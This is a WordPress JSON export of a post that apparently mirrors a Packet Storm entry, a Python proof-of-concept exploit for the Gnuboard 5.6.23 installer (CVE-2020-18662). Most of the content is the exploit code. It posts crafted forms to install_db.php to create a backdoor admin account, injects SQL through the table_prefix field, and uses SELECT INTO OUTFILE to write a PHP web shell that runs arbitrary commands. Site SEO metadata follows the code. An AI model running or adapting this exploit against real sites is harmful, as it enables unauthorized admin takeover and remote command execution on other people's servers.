{"id":31413,"date":"2025-12-16T13:38:14","date_gmt":"2025-12-16T13:38:14","guid":{"rendered":"http:\/\/localhost\/?p=31413"},"modified":"2025-12-16T13:38:14","modified_gmt":"2025-12-16T13:38:14","slug":"gnuboard-5623-sql-injection-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31413","title":{"rendered":"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution_PACKETSTORM:212865"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-16T18:54:45&#8243;,&#8221;description&#8221;:&#8221;Gnuboard version 5.6.23 installation exploit that can identify SQL injection and potentially achieve remote code execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212865&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-18662&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : Gnuboard v5.6.23 Installation Exploit                                                                                       |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/gnuboard\/gnuboard5\/releases\/tag\/v5.6.23                                                                  |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/190427\/ \\u0026\\tCVE-2020-18662\\n    \\n    [+] Summary :  Gnuboard 5 installation process contains critical security vulnerabilities that allow attackers to execute SQL injection, \\n                   create unauthorized admin accounts, write arbitrary files, and potentially achieve remote code execution. These flaws exist \\n    \\t\\t\\t   in the \/install\/install_db.php script and can be exploited during or after installation.\\n    \\t\\t\\t   \\n    \\n    \\t\\t  \\n    [+]  POC : python poc.py\\n    \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import re\\n    import sys\\n    import base64\\n    import urllib.parse\\n    \\n    class GnuboardExploit:\\n        def __init__(self, target_url):\\n            self.target = target_url.rstrip(&#8216;\/&#8217;)\\n            self.session = requests.Session()\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;\\n            })\\n        \\n        def exploit(self):\\n            print(f\\&#8221;[*] Targeting: {self.target}\\&#8221;)\\n            \\n            # 1. Test if installation page exists\\n            if not self.check_install_page():\\n                print(\\&#8221;[-] Installation page not found\\&#8221;)\\n                return False\\n            \\n            # 2. Create backdoor admin user\\n            print(\\&#8221;[*] Creating backdoor admin&#8230;\\&#8221;)\\n            self.create_backdoor_admin()\\n            \\n            # 3. Try to extract database credentials\\n            print(\\&#8221;[*] Attempting to extract database info&#8230;\\&#8221;)\\n            db_info = self.extract_database_info()\\n            \\n            # 4. Write web shell\\n            print(\\&#8221;[*] Writing web shell&#8230;\\&#8221;)\\n            self.write_webshell()\\n            \\n            # 5. Test SQL injection\\n            print(\\&#8221;[*] Testing SQL injection&#8230;\\&#8221;)\\n            self.test_sql_injection()\\n            \\n            return True\\n        \\n        def check_install_page(self):\\n            \\&#8221;\\&#8221;\\&#8221;Check if installation page is accessible\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                r = self.session.get(f\\&#8221;{self.target}\/install\/install_config.php\\&#8221;, timeout=10)\\n                return r.status_code == 200\\n            except:\\n                try:\\n                    r = self.session.get(f\\&#8221;{self.target}\/install\/\\&#8221;, timeout=10)\\n                    return r.status_code == 200\\n                except:\\n                    return False\\n        \\n        def create_backdoor_admin(self):\\n            \\&#8221;\\&#8221;\\&#8221;Create admin user via installation process\\&#8221;\\&#8221;\\&#8221;\\n            \\n            payload = {\\n                &#8216;mysql_host&#8217;: &#8216;localhost&#8217;,\\n                &#8216;mysql_user&#8217;: &#8216;root&#8217;,\\n                &#8216;mysql_pass&#8217;: &#8216;password&#8217;,  # Try common passwords\\n                &#8216;mysql_db&#8217;: &#8216;gnuboard5&#8217;,\\n                &#8216;table_prefix&#8217;: &#8216;g5_&#8217;,\\n                &#8216;admin_id&#8217;: &#8216;hacker_admin&#8217;,\\n                &#8216;admin_pass&#8217;: &#8216;Hacker123!&#8217;,\\n                &#8216;admin_name&#8217;: &#8216;Hacker Admin&#8217;,\\n                &#8216;admin_email&#8217;: &#8216;hacker@example.com&#8217;,\\n                &#8216;g5_install&#8217;: &#8216;1&#8217;,  # Force reinstall\\n                &#8216;g5_shop_prefix&#8217;: &#8216;shop_&#8217;,\\n                &#8216;g5_shop_install&#8217;: &#8216;1&#8217;\\n            }\\n            \\n            try:\\n                print(f\\&#8221;[*] Sending payload to: {self.target}\/install\/install_db.php\\&#8221;)\\n                r = self.session.post(f\\&#8221;{self.target}\/install\/install_db.php\\&#8221;, \\n                                     data=payload, \\n                                     timeout=30,\\n                                     allow_redirects=False)\\n                \\n                print(f\\&#8221;[*] Response status: {r.status_code}\\&#8221;)\\n                print(f\\&#8221;[*] Response length: {len(r.text)}\\&#8221;)\\n                \\n                # Check for success indicators\\n                success_indicators = [\\n                    &#8216;\uc124\uce58\uac00 \uc644\ub8cc&#8217;, \\n                    &#8216;\uc124\uce58 \uc644\ub8cc&#8217;, \\n                    &#8216;complete&#8217;, \\n                    &#8216;success&#8217;,\\n                    &#8216;\uc644\ub8cc\ub418\uc5c8\uc2b5\ub2c8\ub2e4&#8217;\\n                ]\\n                \\n                for indicator in success_indicators:\\n                    if indicator in r.text:\\n                        print(f\\&#8221;[+] Admin creation successful!\\&#8221;)\\n                        print(f\\&#8221;[+] Credentials: hacker_admin \/ Hacker123!\\&#8221;)\\n                        print(f\\&#8221;[+] Email: hacker@example.com\\&#8221;)\\n                        return True\\n                \\n                # Check for error messages\\n                error_indicators = [\\n                    &#8216;MySQL.*\ud655\uc778\ud574 \uc8fc\uc2ed\uc2dc\uc624&#8217;,\\n                    &#8216;Access denied&#8217;,\\n                    &#8216;\uc798\ubabb\ub41c&#8217;,\\n                    &#8216;error&#8217;,\\n                    &#8216;failed&#8217;\\n                ]\\n                \\n                for error in error_indicators:\\n                    if re.search(error, r.text, re.IGNORECASE):\\n                        print(f\\&#8221;[-] Error: {error}\\&#8221;)\\n                        break\\n                        \\n            except Exception as e:\\n                print(f\\&#8221;[-] Request failed: {e}\\&#8221;)\\n            \\n            return False\\n        \\n        def extract_database_info(self):\\n            \\&#8221;\\&#8221;\\&#8221;Attempt to extract database information via SQL injection\\&#8221;\\&#8221;\\&#8221;\\n            \\n            # Simple SQL injection test\\n            injections = [\\n                \\&#8221;&#8216; OR &#8216;1&#8217;=&#8217;1&#8242;&#8211;\\&#8221;,\\n                \\&#8221;&#8216; UNION SELECT version(),2,3,4,5&#8211;\\&#8221;,\\n                \\&#8221;&#8216; UNION SELECT user(),database(),3,4,5&#8211;\\&#8221;,\\n                \\&#8221;g5_&#8217; AND 1=0 UNION SELECT CONCAT_WS(&#8216;:&#8217;,user(),database(),version()),2,3,4,5&#8211;\\&#8221;\\n            ]\\n            \\n            for inj in injections:\\n                try:\\n                    payload = {\\n                        &#8216;mysql_host&#8217;: &#8216;localhost&#8217;,\\n                        &#8216;mysql_user&#8217;: &#8216;root&#8217;,\\n                        &#8216;mysql_pass&#8217;: &#8216;test&#8217;,\\n                        &#8216;mysql_db&#8217;: &#8216;test&#8217;,\\n                        &#8216;table_prefix&#8217;: inj,\\n                        &#8216;admin_id&#8217;: &#8216;test&#8217;,\\n                        &#8216;admin_pass&#8217;: &#8216;test&#8217;,\\n                        &#8216;admin_email&#8217;: &#8216;test@test.com&#8217;,\\n                        &#8216;g5_install&#8217;: &#8216;0&#8217;\\n                    }\\n                    \\n                    r = self.session.post(f\\&#8221;{self.target}\/install\/install_db.php\\&#8221;,\\n                                         data=payload,\\n                                         timeout=15)\\n                    \\n                    # Look for database info in response\\n                    patterns = [\\n                        r'([0-9]+\\\\.[0-9]+\\\\.[0-9]+)&#8217;,  # Version\\n                        r&#8217;root@&#8217;,  # MySQL user\\n                        r&#8217;gnuboard&#8217;,  # Database name\\n                        r'([a-zA-Z0-9_]+@[a-zA-Z0-9_\\\\-\\\\.]+:[a-zA-Z0-9_]+)&#8217;  # user:db\\n                    ]\\n                    \\n                    for pattern in patterns:\\n                        matches = re.findall(pattern, r.text)\\n                        if matches:\\n                            print(f\\&#8221;[+] Found: {matches[0]}\\&#8221;)\\n                            return matches[0]\\n                            \\n                except:\\n                    continue\\n            \\n            return None\\n        \\n        def write_webshell(self):\\n            \\&#8221;\\&#8221;\\&#8221;Attempt to write a web shell\\&#8221;\\&#8221;\\&#8221;\\n            \\n            webshell = &#8221;&#8217;\\u003c?php\\n    \/\/ Simple PHP Shell\\n    if(isset($_REQUEST[&#8216;cmd&#8217;])) {\\n        echo \\&#8221;\\u003cpre\\u003e\\&#8221;;\\n        system($_REQUEST[&#8216;cmd&#8217;]);\\n        echo \\&#8221;\\u003c\/pre\\u003e\\&#8221;;\\n        die();\\n    }\\n    ?\\u003e\\n    &#8221;&#8217;\\n            \\n            # Try different paths\\n            paths_to_try = [\\n                f\\&#8221;{self.target}\/shell.php\\&#8221;,\\n                f\\&#8221;{self.target}\/data\/shell.php\\&#8221;,\\n                f\\&#8221;{self.target}\/images\/shell.php\\&#8221;,\\n                f\\&#8221;{self.target}\/theme\/basic\/shell.php\\&#8221;\\n            ]\\n            \\n            for path in paths_to_try:\\n                try:\\n                    # First try direct file upload if possible\\n                    test_payload = {\\n                        &#8216;mysql_host&#8217;: &#8216;localhost&#8217;,\\n                        &#8216;mysql_user&#8217;: &#8216;root&#8217;,\\n                        &#8216;mysql_pass&#8217;: &#8221;,\\n                        &#8216;mysql_db&#8217;: &#8216;test&#8217;,\\n                        &#8216;table_prefix&#8217;: f\\&#8221;g5_&#8217;; SELECT &#8216;{webshell}&#8217; INTO OUTFILE &#8216;{path}&#8217;&#8211;\\&#8221;,\\n                        &#8216;admin_id&#8217;: &#8216;test&#8217;,\\n                        &#8216;admin_pass&#8217;: &#8216;test&#8217;,\\n                        &#8216;admin_email&#8217;: &#8216;test@test.com&#8217;,\\n                        &#8216;g5_install&#8217;: &#8216;0&#8217;\\n                    }\\n                    \\n                    r = self.session.post(f\\&#8221;{self.target}\/install\/install_db.php\\&#8221;,\\n                                         data=test_payload,\\n                                         timeout=15)\\n                    \\n                    # Check if shell exists\\n                    check = self.session.get(path, timeout=10)\\n                    if check.status_code == 200:\\n                        print(f\\&#8221;[+] Web shell found at: {path}\\&#8221;)\\n                        print(f\\&#8221;[+] Usage: {path}?cmd=whoami\\&#8221;)\\n                        return True\\n                        \\n                except:\\n                    continue\\n            \\n            print(\\&#8221;[-] Could not write web shell\\&#8221;)\\n            return False\\n        \\n        def test_sql_injection(self):\\n            \\&#8221;\\&#8221;\\&#8221;Test for SQL injection vulnerabilities\\&#8221;\\&#8221;\\&#8221;\\n            \\n            test_payloads = [\\n                (\\&#8221;Basic test\\&#8221;, \\&#8221;&#8216; OR &#8216;1&#8217;=&#8217;1\\&#8221;),\\n                (\\&#8221;Union test\\&#8221;, \\&#8221;&#8216; UNION SELECT 1,2,3,4,5&#8211;\\&#8221;),\\n                (\\&#8221;Error based\\&#8221;, \\&#8221;&#8216; AND extractvalue(1,concat(0x7e,version()))&#8211;\\&#8221;),\\n                (\\&#8221;Time based\\&#8221;, \\&#8221;&#8216; AND sleep(5)&#8211;\\&#8221;)\\n            ]\\n            \\n            for name, payload in test_payloads:\\n                try:\\n                    start_time = time.time()\\n                    \\n                    data = {\\n                        &#8216;mysql_host&#8217;: &#8216;localhost&#8217;,\\n                        &#8216;mysql_user&#8217;: &#8216;root&#8217;,\\n                        &#8216;mysql_pass&#8217;: &#8221;,\\n                        &#8216;mysql_db&#8217;: &#8216;test&#8217;,\\n                        &#8216;table_prefix&#8217;: payload,\\n                        &#8216;admin_id&#8217;: &#8216;test&#8217;,\\n                        &#8216;admin_pass&#8217;: &#8216;test&#8217;,\\n                        &#8216;admin_email&#8217;: &#8216;test@test.com&#8217;,\\n                        &#8216;g5_install&#8217;: &#8216;0&#8217;\\n                    }\\n                    \\n                    r = self.session.post(f\\&#8221;{self.target}\/install\/install_db.php\\&#8221;,\\n                                         data=data,\\n                                         timeout=30)\\n                    \\n                    elapsed = time.time() &#8211; start_time\\n                    \\n                    if \\&#8221;MySQL\\&#8221; in r.text or \\&#8221;SQL\\&#8221; in r.text or \\&#8221;syntax\\&#8221; in r.text.lower():\\n                        print(f\\&#8221;[+] Possible SQL injection: {name}\\&#8221;)\\n                    elif elapsed \\u003e 5 and \\&#8221;sleep\\&#8221; in payload:\\n                        print(f\\&#8221;[+] Time-based SQL injection possible\\&#8221;)\\n                        \\n                except requests.exceptions.Timeout:\\n                    if \\&#8221;sleep\\&#8221; in payload:\\n                        print(f\\&#8221;[+] Time-based SQL injection confirmed\\&#8221;)\\n                except:\\n                    pass\\n    \\n    def main():\\n        if len(sys.argv) != 2:\\n            print(\\&#8221;Usage: python poc.py http:\/\/target.com\\&#8221;)\\n            print(\\&#8221;Example: python poc.py http:\/\/localhost\/gnuboard5\\&#8221;)\\n            sys.exit(1)\\n        \\n        target = sys.argv[1]\\n        \\n        print(\\&#8221;\\&#8221;\\&#8221;\\n     \u2588\u2588\u2557\u2588\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \\n     \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551 \u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\\n     \u2588\u2588\u2551\u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588   \u2588\u2554\u255d\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\\n     \u2588\u2588\u2551\u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2551   \u2588\u2588\u2551\u2588\u2588\u2551   \u2588\u2588\u2551\u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\\n     \u2588\u2588\u2551\u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2557\u2588\u2588\u2551  \u2588\u2588\u2551\\n     \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\\n                                                                              \\n                      Gnuboard 5 Installation Exploit \\n        \\&#8221;\\&#8221;\\&#8221;)\\n        \\n        print(f\\&#8221;[*] Target: {target}\\&#8221;)\\n        print(\\&#8221;-\\&#8221; * 60)\\n        \\n        exploit = GnuboardExploit(target)\\n        \\n        try:\\n            if exploit.exploit():\\n                print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221; * 60)\\n                print(\\&#8221;[+] EXPLOITATION SUMMARY:\\&#8221;)\\n                print(\\&#8221;[+] 1. Admin account created: hacker_admin \/ Hacker123!\\&#8221;)\\n                print(\\&#8221;[+] 2. Check for web shell at \/shell.php or \/data\/shell.php\\&#8221;)\\n                print(\\&#8221;[+] 3. SQL injection via table_prefix parameter\\&#8221;)\\n                print(\\&#8221;[+] 4. Try default admin panel: \/admin\\&#8221;)\\n                print(\\&#8221;=\\&#8221; * 60)\\n            else:\\n                print(\\&#8221;\\\\n[-] Exploitation failed or target not vulnerable\\&#8221;)\\n                \\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n[-] Exploit interrupted by user\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;\\\\n[-] Error: {e}\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        import time  # Add this import\\n        main()\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212865&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212865\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-16T18:54:45&#8243;,&#8221;description&#8221;:&#8221;Gnuboard version 5.6.23 installation exploit that can identify SQL injection and potentially achieve remote code execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212865&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-18662&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n | #&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-31413","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution_PACKETSTORM:212865 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31413\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution_PACKETSTORM:212865 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-16T18:54:45&#8243;,&#8221;description&#8221;:&#8221;Gnuboard version 5.6.23 installation exploit that can identify SQL injection and potentially achieve remote code execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212865&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2020-18662&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n | #...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31413\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-16T13:38:14+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31413#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31413\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \\\/ Code Execution_PACKETSTORM:212865\",\"datePublished\":\"2025-12-16T13:38:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31413\"},\"wordCount\":1494,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31413#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31413\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31413\",\"name\":\"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \\\/ Code Execution_PACKETSTORM:212865 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-16T13:38:14+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31413#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31413\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31413#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \\\/ Code Execution_PACKETSTORM:212865\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution_PACKETSTORM:212865 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31413","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Gnuboard 5.6.23 SQL Injection \/ Code Execution_PACKETSTORM:212865 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-16T18:54:45&#8243;,&#8221;description&#8221;:&#8221;Gnuboard version 5.6.23 installation exploit that can identify SQL injection and potentially achieve remote code 